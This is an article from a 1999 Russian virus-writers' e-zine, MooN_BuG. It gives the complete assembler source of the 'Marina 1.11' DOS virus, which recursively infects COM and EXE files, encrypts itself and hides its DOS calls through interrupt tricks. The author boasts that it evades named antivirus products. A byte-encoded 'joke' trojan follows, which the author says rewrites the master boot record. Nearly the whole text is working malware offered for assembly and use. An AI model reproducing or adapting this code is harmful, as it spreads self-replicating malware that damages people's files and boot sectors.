[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 10, Apr 1999                                          file 008

                         Не трогайте Марину, господа!
                                                      by CrkV

     Опубликовав,  в  прошлом  номере  Марину,  я  удостоился  чести попасть в
вирлисты  AVP  и  DrWEB'а ;-). Естественно я сразу определил, маску по которой
они  детектируют  данный вирус. Определив, что возможно изменение тушки зверя,
которое  не  будет  видно  антивирям,  я быстро набросал новую версию Маринки.
Достаточно  вставить  текст  любой  COM-программы  за  телом  вируса  (include
joke.txt)   и...   антивирус  будет  "лечить",  только  вот  диагноз  поставит
неправильно. Так что если больной умрет, вина доктора на лицо.
     Позже я написал "безобидного троянца" (шутку ;-))), сразу оговорюсь, если
вы рискнете посмотреть (у меня все работало), что автор основной картинки не я
(см. вирус TheDraw.6530). Так как тело закодировано, то я представил его текст
в  кодах.  Данный троянец модифицирует MBR (может к следующему номеру напишу и
свой  BOOT  вирус),  чтобы  порадовать "докторов" при загрузке, после этого он
восстанавливает оригинальный сектор и никак себя не проявляет.

=== Cut ===                                                         Marina.Asm
;вирус MARINA 1.11 (c) CrkV ... посвящается неутомимым вирусологам ;-)))

;use tasm marina /m2
;запускать marina.exe !!!

.286

;================================================
;       0123456789 123456789 123456789 123456789 123456789 123456789
;================================================

CSeg    Segment Para 'code'
        Assume  Cs:CSeg,Ds:CSeg,Ss:CSeg,Es:CSeg
        Org     0h                      ;EXE (исходник вируса)
VM:
        Push    Ds
        Push    0
        PushF
        PushA
        Mov     Bp,Sp
        Push    0
        Pop     Es
        Push    Cs
        Pop     Ds
        Mov     Sav_Sp,Bp
        Mov     Es:[01h*4][2],Cs        ;устанавливаем Seg Int 1
        Mov     Es:[03h*4],Offset New03h;устанавливаем Int 3
        Mov     Es:[03h*4][2],Cs
        Jmp     @RealStart3part

        Org     0D4h                    ;располагаем данные в DTA
Sav_SP  dw      ?
Sav_SP2 dw      ?

        Org     0F8h                    ;располагаем данные в DTA
Prov_Ip dw      ?                       ;адрес входа в DOS
Prov_Cs dw      ?
@AdrExit:
VOffs   dw      ?
VSegm   dw      ?                       ;сегмент активного окна видеопамяти
        Org     100h

KolDIR  EQU     8       ;количество сканируемых вложенных поддиректорий
SizeVIR EQU     (Offset @EndVM - Offset @Start1part)    ;размер вируса
SV      EQU     @EndVM - 100h           ;размер вируса
MaxSize EQU     0FC00h - SizeVir        ;максимальный размер COM файла (PSP+стек)
Time1   EQU     5                       ;частота сердцебиения (1/18 сек.)

;----------------------------------------------
@Start1part:
        PushF
        PushA
        Push    Offset @RealStart2part
@AdrR:  db      0BEh                    ;Mov    Si,RandZn
RandZn  dw      ?
        Mov     Cx,(Offset @Start3part - @Start2part)/2
@Loop1R:db      31h,0B4h                ;Xor    [Si+RZ],Si
RZ      dw      ?                       ;RZ=Offset @Start2part-RandZn
        Inc     Si
        Inc     Si
        Loop    @Loop1R
        Ret
;---------------------------------------------
@Start2part:
;---------------------------------------------
MyRand  Proc
; Cx-нижняя граница,Bx-верхняя граница
; Ax-случайное число
        Push    Bx Cx Dx
        db      0B8h                    ;Mov    Ax,RandPar
RandPar dw      ?
        Add     Ax,9248h
        Ror     Ax,3
        Xor     Ax,9248h
        Add     Ax,11h
        Mov     Cs:RandPar,Ax
        And     Ax,7FFFh
        Sub     Bx,Cx
        Inc     Bx
        Sub     Dx,Dx
        IDiv    Bx
        Add     Cx,Dx
        Pop     Dx Ax Bx
        Xchg    Cx,Ax
        Ret
MyRand  EndP
;---------------------------------------------
@RealStart2part:
        Mov     Bp,Sp
        Sub     Si,Si
        Push    Si Ds Si Si
        Pop     Ds
        Mov     Di,0C0h
        Mov     Cx,8
        Cli
        Repe    MovSW                   ;Сохраняем 4 обработчика
        Mov     Si,24h*4
        MovSW                           ;Int 24h
        MovSW
        Pop     Es Ds Ss                ;Ss:Sp - 0:0010h (Удачи !!!)
        Mov     Ax,Cs
        Mov     Sp,(24h+1)*4
        Push    Ax
        Push    Offset New24h           ;Устанавливаем Int 24h
        Sub     Sp,24h*4 - 10h
        Push    Ax
        Push    Offset New03h           ;Устанавливаем Int 3
        Sub     Sp,4
        Push    Ax
        Push    Offset Int_01           ;Устанавливаем Int 1
        Mov     Sp,Bp
        Mov     Ss,Ax
        Push    300h
        PopF                            ;TF=1
        Mov     Sav_Sp,Bp
;---------------------------------------------
Int_01:
        Push    Offset @RealStart3part
@Shifr:
        Mov     Dx,(Offset @EndVMold - Offset @Start3part)/2
        Mov     Di,Offset @Start3part
        Mov     Bx,07FFFh               ;Cx=0 (Repe)
@LoopRs:Call    MyRand
        Xor     [Di],Ax
        Inc     Di
        Inc     Di
        Dec     Dx
        Jnz     @LoopRs                 ;расшифровываем
        Ret
;---------------------------------------------
@Start3part:
;----- обработчик прерывания 01h -----

New01h:

        PushA
        Mov     Bp,Sp
        Push    Ds Es Cs
        Pop     Ds

        Mov     Ax,[Bp+18]              ;Cs адрес следующей команды
        Cmp     Ax,Prov_Cs              ;ищем наименьший сегмент
        Jae     @Exit_01h               ;выше равно
        Push    Ss
        Pop     Es
        Mov     Cx,[Bp+6]               ;устанавливаем равные Sp
        Mov     Ds:[0E6h],Cx
        Mov     Si,0E0h
        Mov     Di,Bp
        Mov     Cx,8                    ;8 регистров
        RepZ    CmpSW
        Or      Cx,Cx
        Jnz     @Exit_01h               ;регистры не совпадают
        Mov     Prov_Cs,Ax
        Mov     Ax,[Bp+16]              ;Ip следующей команды
        Mov     Prov_Ip,Ax
@Exit_01h:
        Pop     Es Ds
        PopA
        IRet

;----- обработчик прерывания 03h -----

New03h:
        Xor     Ax,5AA5h
        Jmp     DWord Ptr Cs:Prov_Ip

;----- обработчик прерывания 24h -----

New24h:
        Mov     Al,3
        IRet
;---------------------------------------------

@RealStart3part:
        Mov     Es:[01h*4],Offset New01h;устанавливаем Int 1
        Mov     Prov_Cs,Cs
        Mov     Ah,19h                  ;получить текущий диск
        Mov     Sp,0F0h
        PushA                           ;Сохраняем все регистры для проверки
        Mov     Sp,Bp
        PushF
        Push    300h
        PopF
        Call    DWord Ptr Es:[21h*4]    ;Int 21h получить текущий диск

        Add     Al,'A'
        Mov     FileMsk,Al
        Mov     Ax,SizePrg
        Mov     OldSize,Ax
        Mov     Ah,2Ah Xor 5Ah
        Int     03h
        Cmp     Dx,0C14h
        Je      @20_12

        Call    Rand08h
        Test    Al,0000111b
        Jnz     @NotC
        Mov     FileMsk,'C'
@NotC:  Mov     RandPar,Ax
        Mov     RandZn,Ax
        Neg     Ax
        Add     Ax,Offset @Start2part
        Mov     RZ,Ax
        Mov     Bp,KolDir

        Mov     Si,Offset StrSize
        Mov     Ax,Cs
        Add     Ax,1000h
        Mov     Es,Ax
        Mov     Di,80h
        Mov     Cx,9
        Repe    MovSB
        Mov     Ds,Ax
        Sub     Bx,Bx
        Call    ScTree

@20_12: Push    Cs
        Pop     Es
        Mov     Ax,1100h
        Mov     Bx,1000h
        Mov     Cx,2
        Mov     Dx,3
        Mov     Bp,Offset S1
        Int     10h
        Sub     Ax,Ax
        Mov     Es,Ax
        Mov     Al,Es:[044Ah]
        Shl     Ax,1
        Push    Ax
        Mov     Bp,0B800h
        Cmp     Byte Ptr Es:[0449h],7
        Jne     Short @IM01
        Mov     Bp,0B000h
@IM01:  Mov     Ah,0Fh
        Int     10h
        Mov     Ah,0
        Mov     Al,Bh
        Shl     Ax,8
        Add     Bp,Ax
        Mov     Ah,03h
        Int     10h
        Mov     Ah,01h
        Or      Ch,00110000b
        Int     10h
        Pop     Ax
        Mul     Dh
        Shr     Ax,4
        Add     Ax,Bp
        Mov     VSegm,Ax
        Shl     Dl,1
        Sub     Dh,Dh
        Mov     VOffs,Dx

        Mov     Ax,351Ch Xor 5AA5h
        Int     03h
        Push    Es Bx
        Mov     Ax,251Ch Xor 5AA5h
        Mov     Dx,Offset New1Ch
        Int     03h
        Sub     Ax,Ax
        Int     16h
        LEs     Di,DWord Ptr VOffs
        Mov     Ax,0720h
        Mov     Cx,28
        Repe    StoSW
        Pop     Dx Ds
        Mov     Ax,251Ch Xor 5AA5h
        Int     03h
        Jmp     @Ex

;----- обработчик прерывания 1Ch -----

New1Ch:
        PushA
        Push    Ds Es Cs
        Pop     Ds

        db      0B9h                    ;Mov Cx,SizeSV
SizeSV  dw      26                      ;

        Mov     Dx,Word Ptr Ct2
        Dec     Dx
        Jnz     @Not0
        Mov     Dx,Cx
        Dec     Dx
        Mov     Ax,VAttr
        Xchg    Al,Ah
        Mov     VAttr,Ax
@Not0:  LEs     Di,DWord Ptr VOffs
        Mov     Si,Offset StrVyv1

        db      0B8h                    ;Mov    Ax,VSim
VSim    dw      0403h                   ;

        Mov     Ah,04h
        Push    Ax
        StoSW
        Sub     Cl,Dl

        db      0B8h                    ;Mov    Ax,VAttr
VAttr   dw      0F0Eh                   ;

@LI1:   MovSB
        StoSB
        Loop    @LI1
        Mov     Cl,Dl
        Xchg    Al,Ah
@LI2:   MovSB
        StoSB
        Loop    @LI2
        Pop     Ax
        StoSW
        Mov     Ct2,Dl
        Dec     Ct1
        Jnz     @Ex1Ch
        Mov     Ct1,Time1
        Mov     Ax,VSim
        Xchg    Al,Ah
        Mov     VSim,Ax

@Ex1Ch: Pop     Es Ds
        PopA

        IRet
;---------------------------------------------
Rand08h Proc
        Push    Ds
        Push    0
        Pop     Ds
        Mov     Ax,Ds:[46Ch]
        Pop     Ds
        Ret
Rand08h EndP
;---------------------------------------------
InfectC Proc
        Push    Bx Ds Ds Ds Cs
        Pop     Ds Es
        Call    Rand08h
        Mov     RandPar,Ax
        Mov     Si,100h
        Sub     Di,Di
        Mov     Cx,SizeVir
        Repe    MovSB                   ;копируем вирус
        Pop     Ax
        Sub     Ax,10h
        Mov     Ds,Ax
        Call    @Shifr                  ;зашифровываем 3 часть
        Call    @AdrR                   ;зашифровываем 2 часть
        Mov     Ax,5700h Xor 5AA5h
        Pop     Ds Bx
        Int     03h
        Push    Cx Dx
        Mov     Ax,4200h Xor 5AA5h
        Sub     Cx,Cx
        Sub     Dx,Dx
        Int     03h
        Mov     Ah,40h Xor 5Ah
        Mov     Cx,SizeVir
        db      081h,0C1h               ;Add Cx,SizePrg
SizePrg dw      1
        Int     03h
        Mov     Ax,5701h Xor 5AA5h
        Pop     Dx Cx
        Int     03h
        Mov     Ah,3Eh Xor 5Ah
        Int     03h
InfectC EndP
;---------------------------------------------
@ExitVir:
        Push    Cs
        Pop     Ds
        Mov     Ah,1Ah Xor 5Ah
        Mov     Dx,80h
        Int     03h                     ;Восстанавливаем DTA
        Mov     Si,0C0h
        Sub     Di,Di
        Push    Di
        Pop     Es
        Mov     Cx,8
        Repe    MovSW                   ;Восстанавливаем 4 обработчика
        Mov     Di,24h*4
        MovSW                           ;Int 24h
        MovSW
        Push    Cs
        Pop     Es

        Mov     Ax,Word Ptr Ds:[SV+100h]
        Call    ProvMZ
        Je      @ExitExe
        db      0B9h                    ;Mov Cx,OldSize
OldSize dw      ?                       ;старый размер программы
        Mov     Di,0FCh
        Mov     Ax,0A4F3h               ;Repe MovSB
        StoSW
        Mov     Ax,9D61h                ;PopA PopF
        StoSW
        Mov     Si,SizeVir+100h
        Mov     Sp,Sav_Sp
        Jmp     @AdrExit

SizePr  EQU     Offset @EndPr - Offset @AdrPr

@ExitExe:

        Mov     Bp,Offset @EndVM
        Mov     Dx,Bp
        Shr     Dx,4
        Mov     Ax,Cs
        Add     Dx,Ax
        Add     Dx,[Bp+8]               ;Dx сегмент кода EXE

        Add     Ax,10h                  ;Ax сегмент кода COM
        Mov     Bx,Bp
        Add     Bx,[Bp+18h]             ;адрес Rel. Table
        Mov     Cx,[Bp+6]               ;количество Relocation
        JCxZ    @NoRel

@LoopRl:Add     [Bx+2],Dx               ;настраиваем перемещаемые элементы
        LEs     Di,[Bx]
        Add     Es:[Di],Ax
        Add     Bx,4
        Loop    @LoopRl

@NoRel: Push    Cs
        Pop     Es
        Mov     Di,100h - SizePr
        Mov     Si,Offset @AdrPr
        Mov     Cx,SizePr
        Repe    MovSB                   ;пересылаем подпрограмму перехода на EXE
        Mov     Sp,Sav_Sp
        Mov     Es,Ax
        Mov     Ds,Dx
        PopA
        Mov     Bp,Offset @EndVM
        Push    Ax Cx Cs Cs
        Push    [Bp+10h]                ;Sp
        Push    [Bp+14h]                ;Ip
        Mov     Cx,[Bp+4]               ;количество кусков по 512 байт
        Mov     Bx,[Bp+8]
        Shr     Bx,5
        Sub     Cx,Bx                   ;размер (EXE - Reloc Table) в 512 кусках
        Shl     Cx,5                    ;размер программы в параграфах

        Mov     Ax,Cx
        Add     Ax,[Bp+0Ch]
        Jnc     @Not_CF
        Mov     Ax,0FFFFh
@Not_CF:
        ;Shl    Cx,3                    ;размер программы в словах
        Mov     Cx,[Bp+OldSize-@EndVM]  ;для надежности берем размер файла

        Mov     Bx,Es
        Add     Bx,[Bp+16h]             ;Cs
        Mov     Dx,Es
        Add     Dx,[Bp+0Eh]             ;Ss

        Sub     Si,Si
        Sub     Di,Di
        db      0E9h                    ;Jmp
        dw      -(($+2)-100h+SizePr)
@AdrPr:
        Repe    MovSB
        Pop     Si Di Ds Es Cx
        Push    Bx
        Mov     Bh,4Ah
        Xchg    Ax,Bx                   ;Bx-требуемый размер в параграфах
        Int     21h
        Pop     Bx Ax
        PopF
        Cli
        Mov     Ss,Dx
        Mov     Sp,Di
        Sti
        Mov     Dx,Ds
        Push    Bx Si
        Mov     Bx,Ax
        RetF
@EndPr:
;---------------------------------------------
ProvMZ  Proc
        Cmp     Ax,'MZ'
        Je      @ExitMZ
        Cmp     Ax,'ZM'
@ExitMZ:Ret
ProvMZ  EndP
;---------------------------------------------
ProvFrm Proc
;Проверка внутреннего формата файла
        Push    Ds
        Mov     Ax,3D02h Xor 5AA5h
        Int     03h
        Jc      @ErrPF1
        Xchg    Bx,Ax
        Mov     Ax,Ds
        Add     Dx,80h
        Shr     Dx,4
        Add     Ax,Dx                   ;получили свободный сегмент
        Mov     Ds,Ax
        Mov     Ah,3Fh Xor 5Ah          ;Прочитали первые 26 байт
        Mov     Cx,1Ah
        Mov     Dx,SizeVir
        Int     03h
        Jc      @ErrPF
        Sub     Ax,Cx
        Jnz     @ErrPF                  ;маленький файл
        Mov     Ax,Word Ptr Ds:[SV]
        Call    ProvMZ
        Jne     @ZagCom
        Mov     Al,Byte Ptr Ds:[SV+18h]
        Cmp     Al,52h
        Je      @ZagCom                 ;Pklite
        Cmp     Al,40h
        Jge     @ErrPF                  ;кажись Виндовый файл
@ZagCom:Mov     Ax,4202h Xor 5AA5h
        Sub     Cx,Cx
        Sub     Dx,Dx
        Int     03h
        Or      Dx,Dx
        Jnz     @ErrPF                  ;большой файл
        Cmp     Ax,MaxSize
        Ja      @ErrPF                  ;большой файл
        Mov     Cs:SizePrg,Ax
        Cmp     Word Ptr Ds:[SV],609Ch  ;PushF,PushA
        Je      @AllInf                 ;возможно заражен
        Push    Ax                      ;Cx,Dx=0
        Mov     Ax,4200h Xor 5AA5h
        Int     03h
        Pop     Cx
        Mov     Ah,3Fh Xor 5Ah
        Mov     Dx,SizeVir
        Int     03h                     ;Читаем весь файл
        Jc      @ErrPF                  ;Ошибка
        Sub     Ax,Cx
        Jnz     @ErrPF                  ;файл почему-то меньше
        Call    InfectC
@AllInf:
@ErrPF: Mov     Ah,3Eh Xor 5Ah          ;закрываем файл
        Int     03h
@ErrPF1:Pop     Ds
        Ret
ProvFrm EndP
;---------------------------------------------
ProvExe Proc
;проверка на EXEC файл
        PushA
        Push    Es Cs
        Pop     Es
        Mov     Cl,KolFN
        Mov     Di,Offset FN1
@LoopF: Push    Cx
        Cmp     Es:[Di],Al              ;сравниваем размер
        Jne     @FileN
        Mov     Cl,Al
        Push    Di Si
        Inc     Di
        Repe    CmpSB                   ;сравниваем имена
        Pop     Si Di
@FileN: Pop     Cx
        Je      @NoExec
        Mov     Bl,Es:[Di]
        Inc     Bx
        Sub     Bh,Bh
        Add     Di,Bx
        Loop    @LoopF
        Mov     Cl,2
        Xchg    Bx,Ax
        Lea     Si,[Si+Bx-5]
        Mov     Di,Offset FileCom
        Push    Si
        Repe    CmpSW                   ;'.COM'
        Pop     Si
        Je      @YExec
        Mov     Cl,2
        Mov     Di,Offset FileExe
        Repe    CmpSW                   ;'.EXE'
        Jne     @NoExec
@YExec: Call    ProvFrm
@NoExec:Pop     Es
        PopA
        Ret
ProvExe EndP
;---------------------------------------------
ScTree  Proc
;Bx - адрес DTA
        Dec     Bp
        Jnz     @Ok
        Or      Bx,Bx
        Jnz     Short @Ex
        Mov     Bp,KolDir
        Sub     Si,Si
@Ok:    Mov     Ah,1Ah Xor 5Ah
        Mov     Dx,Bx
        Int     03h
        Or      Bx,Bx
        Jnz     @NRoot1                 ;Не корневой каталог
        Mov     Byte Ptr Ds:[84h],'?'
        Mov     Ah,4Eh Xor 5Ah
        Mov     Dx,81h
        Mov     Cl,10h
        Int     03h
        Jnc     @OkRoot
@Ex:    Jmp     @ExitVir
@OkRoot:Mov     Bx,'Z'
        Mov     Cx,'A'
        Call    MyRand
        Or      Si,Si
        Jnz     @NAny
        Mov     Al,'?'
@NAny:  Mov     Ds:[84h],Al
        Sub     Bx,Bx
@NRoot1:Lea     Si,[Bx+80h]             ;Ds:Si - полное имя (Pascal String+00h)
        Push    Si
        Lea     Di,[Si+100h]
        Mov     Cl,[Si]
        Inc     Cx                      ;размер строки
        Repe    MovSB
        Mov     Ah,4Eh Xor 5Ah
        Pop     Dx
        Inc     Dx
        Mov     Cl,10h
        Int     03h                     ;ищем первый файл
        Jnc     @OkFile
        Or      Bx,Bx
        Jz      Sctree
        Jmp     Short @NRoot2
@OkFile:Lea     Si,[Bx+1Eh]             ;найденное имя
@NwFind:Cmp     Byte Ptr [Si],2Eh       ;директории '.' и '..'
        Je      @NtFind
        Push    Di
        Push    Si
        Sub     Ax,Ax
@GetNm: MovSB
        Inc     Ax
        Cmp     Byte Ptr [Si-1],00h
        Jne     @GetNm
        Pop     Si
        Pop     Di
        Push    Ax
        Mov     Ax,4300h Xor 5AA5h
        Lea     Dx,[Bx+181h]
        Int     03h
        Pop     Ax
        Test    Cl,10h
        Jne     @DIR
        Call    ProvExe
@NtFind:Mov     Ah,4Fh Xor 5Ah
        Mov     Cl,10h
        Int     03h
        Jnc     @NwFind
@NoFile:Or      Bx,Bx
        Jz      @Ex                     ;поиск закончен
@NRoot2:Mov     Ax,100h
        Sub     Bx,Ax
        Sub     Si,Ax
        Mov     Ah,1Ah Xor 5Ah
        Mov     Dx,Bx
        Int     03h
        Mov     Al,[Bx+80h]
        Lea     Di,[Bx+180h]
        StoSB
        Sub     Ah,Ah
        Add     Di,Ax
        Ret
@DIR:   Mov     Di,Dx
        Dec     Di
        Add     [Di],Al
        Mov     Al,[Di]
        Add     Di,Ax
        Mov     Ax,2A5Ch                ;'\*.*',00h
        StoSW
        Mov     Al,'.'
        StoSW
        Mov     Al,00h
        StoSB
        Add     Bx,100h
        Call    ScTree
        Jmp     Short @NtFind
ScTree  EndP
;---------------------------------------------
StrSize db      3
FileMsk db      '?:\?'
AnyName db      '*.*',00h
KolFN   EQU     3                       ;количество незаражаемых файлов
FN1     db      0Ch,'COMMAND.COM',00h
FN2     db      08h,'WIN'
FileCom db      '.COM',00h
FN3     db      0Ah,'NAVDX'
FileExe db      '.EXE',00h
Flag08h db      0AAh
Ct1     db      Time1
Ct2     db      26
s1      db      000h,000h,000h,000h,028h,07Ch,07Ch,07Ch
        db      038h,010h,000h,000h,000h,000h,000h,000h
s2      db      000h,000h,000h,000h,06Ch,0FEh,0FEh,0FEh
        db      0FEh,07Ch,038h,010h,000h,000h,000h,000h
StrVyv1 db      ' Happy birthday to '
VirName db      'Marina 1.11 '
Align   16
;---------------------------------------------
@EndVMold:

        include joke.txt
Align   16

@EndVM:
        RetF
CSeg    EndS
        End     VM
=== Cut ===

=== Cut ===                                                           Joke.Txt
        db      187,012,001,185,020,010,049,031,067,067
        db      226,250,184,018,195,046,168,103,055,204
        db      053,181,005,204,055,042,218,233,089,001
        db      166,000,034,184,035,001,159,001,214,233
        db      017,001,161,242,106,172,174,253,102,117
        db      029,138,207,185,055,002,129,003,058,233
        db      025,001,135,111,064,191,192,000,183,165
        db      254,000,075,184,075,001,164,021,078,185
        db      085,002,235,002,084,186,166,000,176,009
        db      090,181,085,187,055,000,173,032,161,187
        db      228,001,171,103,171,072,077,109,000,033
        db      012,100,080,099,019,098,031,047,088,047
        db      088,076,027,115,021,111,031,012,138,037
        db      105,031,210,076,199,083,193,079,203,048
        db      189,001,140,000,145,001,144,225,148,097
        db      159,248,159,001,149,001,158,001,158,001
        db      160,001,026,001,132,186,166,000,038,217
        db      036,209,034,193,133,229,224,082,226,042
        db      116,233,148,001,000,004,184,184,191,001
        db      086,024,192,044,226,001,074,193,126,000
        db      202,184,200,001,036,010,206,185,209,002
        db      107,000,212,233,212,001,223,202,138,089
        db      140,188,221,001,090,129,226,204,247,114
        db      225,042,040,204,249,076,153,236,182,194
        db      072,002,242,204,228,185,246,016,067,001
        db      234,184,254,001,068,002,000,191,193,003
        db      201,018,045,194,134,194,044,162,070,006
        db      223,226,173,002,170,036,148,060,095,006
        db      031,119,025,191,028,178,170,013,237,018
        db      150,002,174,197,231,226,032,001,239,161
        db      146,003,233,004,140,003,024,002,128,001
        db      251,018,140,003,186,207,012,207,046,104
        db      064,005,100,197,066,114,070,103,073,036
        db      198,012,062,002,064,005,184,164,082,233
        db      170,098,072,004,086,029,166,187,124,002
        db      213,020,162,003,040,119,111,137,183,072
        db      201,147,107,132,168,161,255,003,180,060
        db      206,003,202,225,119,186,123,006,206,006
        db      044,169,084,200,056,012,141,166,046,224
        db      122,136,066,132,078,166,038,224,114,090
        db      059,138,132,192,149,252,152,195,153,119
        db      151,196,154,195,159,007,001,138,163,132
        db      096,161,046,003,175,029,203,205,172,002
        db      174,002,026,007,146,002,180,002,182,042
        db      196,126,198,058,172,002,190,002,192,002
        db      194,002,196,002,198,110,054,252,052,252
        db      176,058,222,002,208,002,210,034,130,107
        db      164,119,171,034,151,099,174,107,176,099
        db      192,107,145,034,138,103,144,103,154,034
        db      157,107,128,110,206,102,153,103,210,002
        db      122,005,244,002,248,163,068,003,249,008
        db      254,140,192,136,060,004,006,189,155,001
        db      178,217,009,176,005,136,000,007,018,255
        db      033,195,184,063,013,118,029,131,238,131
        db      247,105,034,019,083,004,162,231,212,009
        db      198,232,119,063,050,119,063,112,049,047
        db      032,001,242,001,244,001,246,001,248,131
        db      222,140,054,227,213,075,203,061,069,001
        db      197,196,230,003,193,061,077,001,167,057
        db      197,234,233,002,082,063,077,118,094,175
        db      210,203,234,035,017,232,084,063,122,118
        db      101,175,041,137,174,175,037,066,234,061
        db      111,001,110,119,099,137,138,239,164,219
        db      004,248,148,033,185,118,135,137,185,168
        db      098,242,105,001,119,168,013,206,107,001
        db      104,139,079,005,158,221,158,021,035,177
        db      155,019,182,005,068,035,150,021,044,179
        db      046,025,163,178,184,007,022,019,121,012
        db      177,005,166,220,115,220,180,011,107,223
        db      168,007,111,021,004,177,009,012,170,035
        db      178,021,012,019,029,221,031,021,117,179
        db      192,019,021,035,196,221,218,177,124,177
        db      223,019,203,001,218,021,100,012,200,035
        db      212,221,202,177,108,005,240,221,236,021
        db      085,177,246,222,200,021,088,177,252,222
        db      225,026,243,027,252,021,070,177,249,019
        db      216,005,036,223,240,021,078,179,176,030
        db      001,181,030,000,180,223,024,216,214,018
        db      190,020,213,018,162,182,002,216,200,011
        db      015,000,020,219,197,030,023,223,008,182
        db      048,217,044,218,050,182,041,020,008,010
        db      060,182,060,217,056,181,129,180,061,020
        db      020,036,056,018,227,182,136,011,044,029
        db      060,010,158,217,098,018,246,182,073,020
        db      104,010,092,180,253,182,065,020,112,010
        db      068,182,230,020,139,011,065,007,066,010
        db      074,182,078,217,064,002,189,223,104,018
        db      214,180,216,181,219,181,118,000,220,223
        db      194,020,173,217,171,218,173,223,163,018
        db      161,020,167,223,165,216,092,029,129,219
        db      158,001,093,216,087,223,081,036,130,223
        db      083,036,134,182,130,217,130,182,039,181
        db      151,020,186,036,146,223,136,223,018,020
        db      127,036,162,218,134,010,117,036,188,181
        db      030,182,161,020,144,010,164,181,006,020
        db      107,218,174,182,008,011,172,029,189,028
        db      206,018,112,020,025,036,192,223,196,018
        db      122,180,124,181,127,181,202,000,096,223
        db      196,216,009,029,219,219,005,030,213,223
        db      002,036,063,030,229,223,057,010,056,223
        db      200,002,055,010,050,018,092,020,046,018
        db      064,181,251,020,214,036,246,218,236,223
        db      039,020,035,036,022,181,004,021,217,037
        db      038,219,006,019,187,183,190,010,030,037
        db      030,019,163,183,004,219,000,183,170,010
        db      010,028,031,029,016,019,146,010,050,037
        db      034,219,253,009,062,181,154,180,157,180
        db      052,001,130,222,233,021,232,218,022,010
        db      230,217,026,006,226,217,030,002,190,006
        db      158,037,072,218,153,218,082,006,145,019
        db      254,021,146,037,143,218,142,031,087,222
        db      118,011,131,037,086,019,236,003,078,216
        db      110,219,116,183,116,216,112,183,218,021
        db      183,037,178,019,220,021,171,216,082,019
        db      197,181,121,021,097,007,116,019,204,180
        db      204,021,093,037,148,183,148,216,144,183
        db      058,010,154,028,143,029,128,019,033,010
        db      130,037,146,218,074,009,142,181,042,180
        db      045,180,132,006,018,222,121,222,180,222
        db      125,037,167,218,189,183,188,222,114,006
        db      111,218,109,037,187,217,161,183,009,002
        db      170,217,156,009,097,222,027,222,212,183
        db      118,222,214,222,019,222,220,222,126,021
        db      019,011,011,037,222,019,101,180,208,021
        db      005,037,212,222,202,183,206,219,246,183
        db      080,010,244,037,198,011,254,183,088,021
        db      049,037,248,183,065,010,226,028,246,003
        db      040,011,238,180,075,183,243,021,222,011
        db      022,180,018,221,218,219,009,031,011,030
        db      004,016,189,022,211,038,048,000,201,010
        db      002,182,167,183,002,002,168,221,199,022
        db      004,005,251,218,254,038,043,217,249,221
        db      243,221,061,180,157,001,062,217,016,038
        db      062,218,232,028,048,221,046,221,136,022
        db      227,008,226,038,076,221,084,180,066,022
        db      153,038,104,008,148,221,145,016,149,180
        db      064,219,114,216,066,180,228,009,072,038
        db      084,216,074,180,078,219,121,004,116,182
        db      213,183,105,022,072,008,180,016,222,022
        db      179,219,127,031,113,030,122,016,196,183
        db      119,022,090,038,122,216,114,016,048,182
        db      051,028,135,180,093,221,152,028,130,221
        db      150,003,082,028,149,221,077,221,079,221
        db      073,217,184,008,100,038,144,218,069,221
        db      125,016,016,000,180,218,134,038,166,221
        db      188,180,188,218,113,016,002,009,162,038
        db      148,008,160,180,010,009,170,038,156,008
        db      168,180,114,009,210,031,198,000,024,008
        db      222,182,123,000,220,219,192,216,198,180
        db      096,009,196,031,210,030,214,216,204,180
        db      109,009,206,038,192,000,057,010,242,182
        db      087,183,090,180,088,221,055,221,254,221
        db      043,218,232,023,047,028,243,218,238,221
        db      234,028,255,221,032,016,178,182,178,008
        db      020,039,038,009,211,017,184,023,209,039
        db      209,039,048,017,160,023,201,039,054,017
        db      170,023,199,030,030,017,174,183,038,023
        db      255,039,042,017,151,181,039,023,051,003
        db      052,007,245,009,239,017,128,181,059,023
        db      022,001,230,011,044,183,141,182,140,181
        db      242,220,153,023,159,219,157,017,250,023
        db      149,029,095,220,088,220,139,220,066,029
        db      087,220,139,017,234,181,232,182,236,001
        db      078,219,064,009,189,220,184,030,101,017
        db      218,023,182,039,178,017,220,008,096,030
        db      112,001,170,009,096,183,126,023,167,039
        db      114,017,207,181,144,218,141,030,135,031
        db      136,017,058,008,154,039,172,009,081,017
        db      034,023,078,039,146,216,154,017,041,182
        db      040,181,046,023,069,216,127,219,121,218
        db      120,216,188,023,115,017,113,220,119,023
        db      180,002,107,017,168,004,006,182,007,183
        db      190,023,102,219,156,009,097,216,224,249
        db      226,216,210,181,214,219,023,220,022,039
        db      236,017,126,008,192,039,212,217,218,017
        db      102,182,200,218,213,030,223,031,208,217
        db      061,030,225,216,196,249,255,004,228,219
        db      054,220,055,219,053,216,228,181,226,029
        db      229,220,224,220,232,029,255,220,034,017
        db      228,003,178,185,179,185,180,184,000,024
        db      211,212,005,017,008,006,209,030,162,186
        db      160,024,207,212,054,040,030,215,020,030
        db      172,184,017,024,057,012,058,008,255,006
        db      249,212,049,010,044,214,032,030,158,185
        db      129,186,128,186,239,024,044,013,227,212
        db      046,186,044,018,051,211,159,211,157,212
        db      094,014,157,030,082,014,248,185,253,185
        db      254,014,064,213,075,010,228,040,231,040
        db      086,215,133,030,238,186,078,211,187,212
        db      190,040,068,212,185,007,072,040,114,006
        db      220,040,078,215,105,010,126,030,196,185
        db      199,185,202,186,161,211,108,018,107,211
        db      092,000,124,004,091,215,156,012,083,215
        db      084,030,150,015,060,185,033,007,130,017
        db      150,014,038,040,042,186,186,006,138,184
        db      152,024,125,017,160,006,190,012,121,007
        db      177,011,178,006,140,184,161,017,181,004
        db      164,184,005,185,004,186,010,211,170,018
        db      171,211,098,211,028,212,025,212,024,212
        db      208,211,019,018,205,186,202,024,019,017
        db      210,185,096,030,244,007,198,040,214,030
        db      106,185,211,024,254,014,062,040,236,030
        db      085,184,198,007,248,040,236,246,227,017
        db      234,016,254,213,253,017,243,014,041,004
        db      238,185,075,186,078,211,238,018,024,210
        db      020,210,223,025,221,031,211,025,215,031
        db      022,013,213,019,021,187,163,006,004,016
        db      020,015,169,187,012,041,018,185,175,184
        db      146,006,050,041,042,031,006,006,056,041
        db      036,031,158,184,158,041,063,025,018,015
        db      134,006,047,010,032,007,044,184,051,025
        db      030,005,089,014,074,041,066,214,074,031
        db      249,187,248,210,092,019,084,210,070,187
        db      072,012,143,019,082,187,233,006,074,016
        db      094,015,238,187,118,041,108,185,213,187
        db      212,025,181,041,124,185,124,215,120,187
